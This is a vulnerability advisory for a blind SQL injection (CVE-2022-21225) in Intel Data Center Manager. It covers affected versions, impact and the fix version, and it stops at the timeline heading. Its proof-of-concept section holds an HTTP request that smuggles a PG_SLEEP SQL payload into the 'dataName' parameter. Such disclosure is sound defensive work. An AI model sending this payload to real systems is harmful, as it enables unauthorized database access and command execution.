1. ADVISORY INFORMATION
=======================
Product:        Intel Data Center Manager
Vendor URL:     https://www.intel.com/content/www/us/en/developer/tools/data-center-manager-console/overview.html
Type:           SQL Injection [CWE-89]
Date found:     2022-01-21
Date published: 2022-12-01
CVSSv3 Score:   9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
CVE:            CVE-2022-21225


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Intel Data Center Manager 4.1 and below


4. INTRODUCTION
===============
Energy costs are the fastest rising expense for today’s data centers. Intel® Data
Center Manager (Intel® DCM) provides real-time power and thermal consumption data,
giving you the clarity you need to lower power usage, increase rack density, and
prolong operation during outages.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
Intel DCM's endpoint at "/DcmConsole/DataAccessServlet?action=getRoomRackData" is
vulnerable to an authenticated, blind SQL Injection when user-supplied input to
the HTTP POST parameter "dataName" is processed by the web application.

Since the application does not properly validate and sanitize this parameter, an
attacker can inject arbitrary SQL commands against the PostgreSQL backend
database server of the web application.

Successful exploits can allow an authenticated attacker (the lowest possible
authorization level "Guest" is sufficient) to read and modify database contents
and execute any system commands on the underlying operating system. This way,
the attacker can compromise the system's entire confidentiality, integrity, and
availability.


6. PROOF OF CONCEPT
===================
POST /DcmConsole/DataAccessServlet?action=getRoomRackData HTTP/1.1
Host: [ip-address]
Cookie: JSESSIONID=[session-id]
Content-Length: 153

Content-Type: text/plain
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

{"antiCSRFId":"[your-anti-csrf-id]","requestObj":{"snapshotId":1,"roomId":1,"dataName":"test');SELECT PG_SLEEP(5)--"}}

(see the referenced blog post for more details)


7. SOLUTION
===========
Update at least to version 5.0.0.46307.


8. REPORT TIMELINE
